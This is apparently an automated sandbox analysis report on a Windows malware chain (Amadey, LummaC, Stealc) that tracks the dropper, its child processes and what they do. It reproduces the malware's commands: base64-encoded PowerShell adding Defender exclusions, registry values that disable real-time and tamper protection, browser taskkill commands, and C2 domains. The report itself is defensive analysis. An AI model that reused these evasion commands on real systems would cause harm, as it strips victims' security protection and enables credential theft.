Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05180DC1 rdtsc

0_2_05180DC1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004E652B mov eax, dword ptr fs:[00000030h]		6_2_004E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004EA302 mov eax, dword ptr fs:[00000030h]		6_2_004EA302

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 0d8313073f.exe PID: 4136, type: MEMORYSTR

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Local\Temp\1003334001\Fwkdsz.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Local\Temp\1003334001\Fwkdsz.exe;Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Roaming\DiagTrack.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Roaming\DiagTrack.exe
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Local\Temp\1003334001\Fwkdsz.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Local\Temp\1003334001\Fwkdsz.exe;Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Roaming\DiagTrack.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Roaming\DiagTrack.exe			Jump to behavior

LummaC encrypted strings found

Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: 24da741fb6.exe, 0000000B.00000003.2496351529.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe "C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe "C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe "C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe "C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabmag8aywbhagwaxabuaguabqbwafwamqawadaamwazadmanaawadaamqbcaeyadwbragqacwb6ac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acabcadeamaawadmamwazadqamaawadeaxabgahcaawbkahmaegauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwarabpageazwbuahiayqbjagsalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwarabpageazwbuahiayqbjagsalgblahgazqa=
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabmag8aywbhagwaxabuaguabqbwafwamqawadaamwazadmanaawadaamqbcaeyadwbragqacwb6ac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acabcadeamaawadmamwazadqamaawadeaxabgahcaawbkahmaegauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwarabpageazwbuahiayqbjagsalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwarabpageazwbuahiayqbjagsalgblahgazqa=			Jump to behavior

Source: 203f60e481.exe, 0000000F.00000002.2683902939.0000000000112000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 0d8313073f.exe, 0000000D.00000002.2928434027.0000000000A7F000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: 4-Program Manager
Source: file.exe, 00000000.00000002.1704179638.0000000000992000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1734127491.00000000006A2000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1736207087.00000000006A2000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: o.'R&Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: .'R&Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_004CD3E2 cpuid

6_2_004CD3E2

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_004CCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_004CCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_004B65E0 LookupAccountNameA,

6_2_004B65E0

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2685688622.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001140000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1734062990.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1695582240.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1736142318.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1693609127.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2335093980.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1704119383.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1663903218.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 203f60e481.exe PID: 5300, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 24da741fb6.exe PID: 1236, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 13.2.0d8313073f.exe.610000.0.unpack, type: UNPACKEDPE
